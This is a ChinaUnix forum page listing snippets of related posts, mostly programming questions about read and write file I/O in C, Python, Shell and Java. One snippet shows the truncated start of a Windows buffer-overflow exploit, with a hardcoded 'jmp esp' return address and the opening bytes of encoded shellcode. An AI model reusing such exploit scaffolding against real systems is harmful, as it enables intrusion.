ChinaUnix.net
相关文章推荐:

sorcket的read write

请问各位大侠,有没有熟悉OS/2的,我现在遇到一个很奇怪的问题,就是完成ftp中get的功能,从远程读取一个文件内容,用read或fread读取,比如说读取到的是1024个字节,可是写入当地文件以后,用write或fwrite来写,当地的文件大小就不是1024个字节了,比这个大点儿,请问这时怎么回事呀,急死了

by nmzqzw - C/C++ - 2006-03-09 09:27:42 阅读(1295) 回复(9)

相关讨论

4.5 StringIO -- read and write strings as files This module implements a file-like class, StringIO, that reads and writes a string buffer (also known as memory files). See the description of file objects for operations (section 3.9 ). class StringIO( [buffer]) When a StringIO object is created, it can be initialized to an existing string by passing the string to the constructor. ...

by speakitnow - Python文档中心 - 2008-08-20 15:01:54 阅读(1985) 回复(0)

以下函数,一个是把域名、IP写入文件中,另一个是从文件中while读出来。 但是读出来永远是空的。我cat,文件是有内容。 这两函数,非常简单,请帮忙看一下,多谢! [code] typedef struct StructDomain { char domain[64]; char ip[64]; }StructDomain; int AddRecord() { StructDomain domain; int fd; printf("\nPlease input Domain: "); fflush(NULL); scanf("%s", domain.domain); pr...

by cheyo - C/C++ - 2007-05-02 21:40:16 阅读(2317) 回复(16)

按照书上写 了一个程序结果是正确的,但有的地方看不懂,请大虾指教 了谢谢阿 :) 以下是程序,看不懂为什么从hello1文件读出一次内容后他的文件描述符fds[0]就变为0 了 ,而向hello2文件里写一次以后他的文件描述符就不变阿。这个程序完成的功能是每 隔10s中就向hello2文件写一次数据。 #include #include #include #include #include #include #include

by destinyliu - 程序开发 - 2006-12-21 13:25:47 阅读(1305) 回复(5)

Dear All : 用C Shell 我如何寫text到一個file? 如何從file讀入text? 可否提供範例,Thanks!!!

by ksc - Shell - 2003-03-04 16:18:48 阅读(1614) 回复(6)

该程序是APUE2第14章程序清单14-1 [code] #include "head.h" char buf[500000]; int main(int argc, char** argv) { int nwrite, ntowrite; char *ptr = NULL; ntowrite = read(STDIN_FILENO, buf, sizeof(buf)); fprintf(stderr, "read %d bytes\n", ntowrite); set_fl(STDOUT_FILENO, O_NONBLOCK); ptr = buf; ...

by xiaozhu2007 - C/C++ - 2008-01-15 23:54:41 阅读(11573) 回复(4)

错误代码: org.springframework.dao.InvalidDataAccessApiUsageException: write operations are not allowed in read-only mode (FlushMode.NEVER) - turn your Session into FlushMode.AUTO or remove 'readOnly' marker from transaction definition 错误原因: OpenSessionInViewFilter在getSession的时候,会把获取回来的session的flush mode 设为FlushMode.NEVER。然后把该sessionFactory绑定到TransactionSynchronizatio...

by zhaisx - Java文档中心 - 2007-11-15 23:21:21 阅读(2825) 回复(0)

我使用VC6,编译如下程序: #include #include #include #pragma comment (lib,"ws2_32") // jmp esp address of chinese version #define JUMPESP "\x12\x45\xfa\x7f" char Shellcode[]= "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x23\x01\x80\x34\x0b\xf8\xe2\xfa" "\xeb\x05\xe8\xeb\xff\xff\xff\x11\x01\xf8\xf8\xf8\xa7\x9c\x59\xc8" "\xf8\xf8\xf8\x73\xb8\xf4\x73\x88\xe4\x55\x73\x90\xf0\...

by ciwsecurity - C/C++ - 2006-10-26 21:35:26 阅读(1788) 回复(4)

sorry: i want to read or write the picture and sound file in unix,for example the '.jpeg' file. this my done: ..... int fd1=open("/load/picture1.jpg",O_RDONLY); ..... but fd1 is -1,why? thanks!!

by sgs - C/C++ - 2005-06-13 21:19:37 阅读(940) 回复(4)

看到对read/write 函数的描述是: 在read/write方式,内核要在用户缓存和它自己的缓存之间进行复制,然后用其缓存做I/O。 什么是用户缓存?什么是它自己的缓存? 对mmap()的描述是: 内核直接对映射存储缓存作I/O操作。 :em06: :em06: mmap是我心中默认的方式。

by release - C/C++ - 2004-02-01 20:48:06 阅读(713) 回复(0)

vc++怎么连open,read,write函数都没有?

by mabuc - C/C++ - 2009-04-29 13:15:34 阅读(3969) 回复(9)